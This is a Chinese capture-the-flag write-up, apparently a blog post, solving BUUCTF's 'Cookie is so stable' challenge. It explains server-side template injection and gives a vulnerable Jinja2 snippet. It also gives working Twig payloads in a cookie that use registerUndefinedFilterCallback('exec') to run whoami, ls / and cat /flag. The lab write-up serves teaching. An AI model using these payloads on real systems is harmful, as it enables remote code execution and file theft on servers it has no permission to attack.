BUUCTF——Cookie is so stable

BUUCTF——Cookie is so stable

进入靶场

在这里插入图片描述

页面有点熟悉 跟之前做过的靶场有点像

先简单看一看靶场信息

在这里插入图片描述

有几个功能点

在这里插入图片描述

在这里插入图片描述

flag.php

随便输了个admin

在这里插入图片描述

根据题目提示

应该与cookie有关

抓包看看

在这里插入图片描述

构造payload

Cookie: PHPSESSID=ef0623af2c1a6d2012d57f3529427d52;   user={{7*'7'}}

在这里插入图片描述

有回显

漏洞能利用

确定了是SSTI注入漏洞

简单解释一下SSTI注入漏洞

SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,发生在应用程序使用模板引擎渲染用户输入时。当用户输入被直接嵌入到模板中而没有经过适当处理时,攻击者可以注入模板指令,从而在服务器上执行任意代码。

常见的易受攻击的模板引擎

  1. Java: FreeMarker, Velocity, Thymeleaf
  2. Python: Jinja2, Mako, Tornado
  3. PHP: Twig, Smarty
  4. JavaScript: Pug (Jade), Handlebars, EJS
  5. Ruby: ERB, Slim

漏洞原理

当应用程序这样处理用户输入时容易受到攻击:

# 危险示例 (Python/Jinja2)
from jinja2 import Template

user_input = request.GET.get('name')
template = Template("Hello " + user_input)
rendered = template.render()

攻击者可以提交{{7*7}}作为输入,如果输出是Hello 49,则表明存在SSTI漏洞。

漏洞危害

  1. 远程代码执行(RCE)
  2. 敏感信息泄露
  3. 服务器文件系统访问
  4. 网络访问
  5. 权限提升

检测方法

尝试插入简单的模板表达式如{{7*7}}${7*7}<%= 7*7 %>,观察是否被计算

确定是php的SSTI漏洞

构造payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

在这里插入图片描述

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /")}}

在这里插入图片描述

回显不完整,那就盲猜在根目录下

构造payload直接读取

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在这里插入图片描述

拿到flag

flag{82e4f065-ae52-4f68-b994-ef7cd86b13be}

下播!!!!

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值